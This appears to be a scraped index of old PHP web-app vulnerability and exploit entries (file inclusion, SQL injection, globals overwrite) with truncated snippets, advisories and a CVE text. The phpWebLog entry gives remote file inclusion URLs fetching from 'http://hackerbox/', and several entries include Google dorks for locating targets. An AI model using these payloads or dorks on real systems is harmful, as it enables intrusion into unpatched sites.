MyNews 4.2.2 Week_Events.PHP Remote File Include Vulnerability

No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import re class TestPOCPOCBase: vulID = '83309' ssvid version = '1.0' author = 'kikay' vulDate = '2007-04-12' createDate ...

webERP <= 4.08.1 - Local/Remote File Inclusion Vulnerability

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP YmmMMMM MMM YM Discovered by dun \ posdubatgmail.com 2012-06-27 webERP = 4.08.1 Local/Remote File Inclusion Vulnerability Script: Accounting & Best...

microcms 3.5 (sql/lfi) Multiple Vulnerabilities

No description provided by source. Micro CMS File inclusion Vuln Micro CMS SQLi login bypass By learn3r hacker from Nepal [email protected] Affected version: v 3.5 or may be lower... File Inclusion Vuln Requires register globals to be on... Vuln file: microcms-inlude.php...

coppermine photo gallery <= 1.4.22 Multiple Vulnerabilities

No description provided by source. Author: girex Site: http://girex.altervista.org/ CMS: Coppermine Photo Gallery = 1.4.22 Coppermine Foto Gallery suffers from different vulnerabilities. There is a Local File Inclusion and a Blind SQL Injection working with registerglobals = On and magicquotesgpc...

PunBB Mod PunPortal 0.1 - Local File Inclusion Exploit

No description provided by source. !/usr/bin/perl =about PunBB PunPortal 0.1 Local File Inclusion Exploit -------------------------------------------------- by athos - stakerathotmaildotit download mod http://www.punres.org/download.php?id=1108 download cms http://punbb.org register globals = 1...

interact 2.4.1 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source. -========================================== ViVa Islam + YeMeN ====================================- Name : interact 2.4.1 Multiple Remote RFI Vulnerabiliy Download From : http://puzzle.dl.sourceforge.net/sourceforge/cce-interact/interact-2-4-1.tar.gz Found By :...

Kmita Mail <= 3.0 (file) Remote File Inclusion Vulnerability

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV94$2008 ----------------------------------------------------------------------------------------- ECHOADV94$2008 Kmita Mail = 3.0 file Remote File Inclusion Vulnerability...

Soholaunch Pro <= 4.9 r36 Remote File Inclusion Vulnerabilities

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV57$2006 ----------------------------------------------------------------------------------------------- ECHOADV57$2006Soholaunch Pro =4.9 r36 Multiple Remote File Inclusion Vulnerability...

PHPList <= 2.10.2 GLOBALS[] Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo PHPList = 2.10.2 GLOBALS remote cmmnds xctn \r\n; echo by rgod [email protected]\r\n; echo site: http://retrogod.altervista.org\r\n\r\n; echo - this works against registerglobals=On \r\n; echo a dork:...

Mambo <= 4.5.2 Globals Overwrite / Remote Command Exection Exploit

No description provided by source. ?php ---mambo452xpl.php 15.19 17/11/2005 Mambo = 4.5.2 Globals overwrite / remote commands execution coded by rgod site: http://rgod.altervista.org usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: Rapidity is the essence of war: take...

WordPress cache_lastpostdate Arbitrary Code Execution

No description provided by source. $Id: phpwordpresslastpost.rb 9671 2010-07-03 06:21:31Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and term...

Webfwlog <= 0.92 (debug.php) Remote File Disclosure Vulnerability

No description provided by source. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz + D.Scrpit:http://webfwlog.sourceforge.net/...

bilboblog 2.1 - Multiple Vulnerabilities

No description provided by source. ------------------------------------------------------------------ Name : Bilboblog 2.1 Multiples Vulnerabilities Description : Bilboblog is a small application of micro-blogging in Php / MySQL Link :...

phpWebLog <= 0.5.3 Arbitrary File Inclusion

No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...

WHMCS 5.2.8 – SQL Injection Vulnerability-vulnerability warning-the black bar safety net

Google Dork: "powered by WHMCS" Exploit Author: g00n Xploiter.net Vendor Homepage: http://www.whmcs.com/ Software Link: http://www.whmcs.com/ Version: 5.2.8 Tested on: Windows, Linux Vulnerable file: /includes/dbfunctions.php POC: selectquery function is vulnerable due to Register Globals Example...

WHMCompleteSolution (WHMCS) 5.2.8 - SQL Injection

Exploit Title: WHMCS 5.2.8 SQL Injection Google Dork: "powered by WHMCS" Date: 10/18/2013 Exploit Author: g00n Xploiter.net Vendor Homepage: http://www.whmcs.com/ Software Link: http://www.whmcs.com/ Version: 5.2.8 Tested on: Windows, Linux Vulnerable file: /includes/dbfunctions.php POC:...

WHMCompleteSolution (WHMCS) 5.2.8 - SQL Injection

WHMCompleteSolution WHMCS 5.2.8 - SQL Injection Exploit Title: WHMCS 5.2.8 SQL Injection Google Dork: "powered by WHMCS" Date: 10/18/2013 Exploit Author: g00n Xploiter.net Vendor Homepage: http://www.whmcs.com/ Software Link: http://www.whmcs.com/ Version: 5.2.8 Tested on: Windows, Linux Vulnerab...

phpMyAdmin &lt;= 4.0.4.1 import.php GLOBALS变量注入漏洞

CVECAN ID: CVE-2013-4729 phpmyadmin是MySQL数据库的在线管理工具，主要功能包括在线创建数据表、运行SQL语句、搜索查询数据以及导入导出数据等。 phpMyAdmin 4.0.4.1之前版本内的import.php没有正确限制文件格式定义数据输入权限，可使经过身份验证的远程用户修改GLOBALS超级全局数组，然后通过特制的请求更改配置。 0 phpMyAdmin = 4.0.4.1 厂商补丁： phpMyAdmin ---------- phpMyAdmin已经为此发布了一个安全公告（PMASA-2013-7）以及相应补丁:...

phpMyAdmin 4.x < 4.0.4.1 import.php GLOBALS Variable Injection Configuration Parameter Manipulation (PMASA-2013-7)

According to its self-identified version number, the phpMyAdmin 4.x install hosted on the remote web server is earlier than 4.0.4.1 and, therefore, contains a flaw where the 'import.php' script does not properly sanitize input. This could allow attackers to inject arbitrary GLOBALS variables and...

CVE-2013-4729

import.php in phpMyAdmin 4.x before 4.0.4.1 does not properly restrict the ability of input data to specify a file format, which allows remote authenticated users to modify the GLOBALS superglobal array, and consequently change the configuration, via a crafted request...